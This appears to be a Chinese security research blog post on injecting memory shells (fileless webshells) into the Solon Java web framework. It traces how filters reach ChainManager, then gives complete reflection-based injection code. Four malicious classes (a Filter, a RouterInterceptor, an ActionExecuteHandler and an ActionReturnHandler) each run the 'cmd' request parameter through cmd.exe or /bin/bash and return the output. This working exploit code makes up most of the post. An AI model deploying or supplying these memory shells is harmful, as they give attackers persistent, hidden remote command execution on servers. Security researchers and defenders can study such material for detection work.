Solon框架注入内存马

Solon简介

Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架

Github地址

官网

架构图:

solon_schema.png

请求处理过程

img

Web处理会经过四个路段:过滤器(Filter)->路由拦截器(RouterInterceptor)->处理器(Handler)->拦截器(Interceptor)

Filter内存马

去官方下载了个demo

根据官方文档web开发部分编写了个简单的Filter

@Component(index = 0) //index 为顺序位(不加,则默认为0)
public class FilterDemo implements Filter {
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        System.out.println(ctx.path());  //输出当前访问路径
        chain.doFilter(ctx);
    }
}

在System.out.println(ctx.path());下断点,查看这个Filter是如何被添加的

首先查看第一个被调用的doFilter(org.noear.solon.core.ChainManager)

image-20240810193642799

image-20240810193741350

这第一个doFilter的作用是构建filter链,this.filterNodes里面的几个filter中,已经存在了前面编写的FilterDemo

往前看看FilterDemo是怎样被添加到this.filterNodes里的

在addFilter和addFilterIfAbsent方法里添加

image-20240810195058866

image-20240810195234212

接下来是找哪里调用这个addFilter或者addFilterIfAbsent

来到org.noear.solon.SolonApp的tryHandle方法

image-20240810194758282

跟进this.chainManager()来到org.noear.solon.core.route.RouterWrapper

image-20240810195953153

这个this._chainManager是ChainManager对象,往前看可以看到addFilter()

image-20240810200210499

到这里,可以清晰的知道,如果能通过上下文获取到_chainManager这个field,就能够添加任意的Filter了

下一步就是想办法获取到_chainManager这个field,这里借助了工具Java Object Searcher

编写代码搜索目标对象

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("C:\\Users\\Tree\\Desktop\\demo");
searcher.searchObject();

搜索结果:

TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext} 
      ---> _request = {org.smartboot.http.server.impl.HttpRequestImpl} 
       ---> request = {org.smartboot.http.server.impl.Request} 
         ---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler} 
          ---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$97/1745043985} 
           ---> arg$1 = {org.noear.solon.SolonApp} 
             ---> _chainManager = {org.noear.solon.core.ChainManager}

其中value = {org.noear.solon.boot.smarthttp.http.SmHttpContext} 是当前的上下文

image-20240810201632619

在查询官方文档的过程中,可以得到几种获取当前上下文的方法,其中Context ctx = Context.current();是最合适的,它是基于 ThreadLocal 实现的

综上,得到注入Filter内存马的实现代码:

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addFilter(new Memshellclass(),0);

其中refgetFileobj方法如下:

public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
    try{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        Object fieldobj = field.get(obj);
        return fieldobj;
    }catch (NoSuchFieldException e) {
        Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
        field.setAccessible(true);
        Object fieldobj = field.get(obj);
        return fieldobj;
    }

}

恶意Filter:

public class Memshellclass implements Filter{
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds =
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            ctx.output(e.getMessage());
        }
        chain.doFilter(ctx);
    }
}

RouterInterceptor内存马

RouterInterceptor内存马和Filter内存马差不多,其实在上面的initRouter方法已经发现了addInterceptor方法调用了

image-20240810212454987

只需要把_chainManager.addFilter修改为addInterceptor即可

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addInterceptor(new RouterInterceptormemshell(),0);

其中恶意RouterInterceptor

public class RouterInterceptormemshell implements RouterInterceptor{
        @Override
        public PathRule pathPatterns() {
            return new PathRule().include("/hello"); //限定路径,可以为return null;即作用于全路径
        }
        @Override
        public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {
            try{
                if(ctx.param("cmd")!=null){
                    String str = ctx.param("cmd");
                    try{
                        String[] cmds =
                                System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
                                        "/c", str} : new String[]{"/bin/bash", "-c", str};
                        String output = (new java.util.Scanner((new
                                ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                        ctx.output(output);
                    }catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }catch (Throwable e){
                ctx.output(e.getMessage());
            }
            chain.doIntercept(ctx, mainHandler);
        }
    }

}

ActionExecuteHandler内存马

还是ChainManager这个类添加,下面的ActionReturnHandler内存马也一样

image-20240810223645215

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addExecuteHandler(new ActionExecuteHandlermemshell());

恶意ActionExecuteHandler:

public class ActionExecuteHandlermemshell implements ActionExecuteHandler{
    @Override
    public boolean matched(Context ctx, String contentType) {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds =
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            ctx.output(e.getMessage());
        }
        return false;
    }
    @Override
    public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
        return new Object[0];
    }
    @Override
    public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
        return null;
    }
}

ActionReturnHandler内存马

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addReturnHandler(new ActionReturnHandlermemshell());

恶意ActionReturnHandler:

public class ActionReturnHandlermemshell implements ActionReturnHandler{
    @Override
    public boolean matched(Class<?> returnType) {
        return true; //为true时才回让returnHandle处理
    }
    @Override
    public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds =
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            ctx.output(e.getMessage());
        }
    }
}

思考

如果没有理解错的话,按照请求处理流程图,应该还有个Interceptor内存马或者Handler内存马。很菜,没有示例代码,不能调试分析

官方文档说,支持传统的WebServlet、WebFilter 和jsp,这应该也可以做内存马

参考

https://solon.noear.org/article/learn-solon-web

https://wx.zsxq.com/dweb2/index/topic_detail/8855182518512112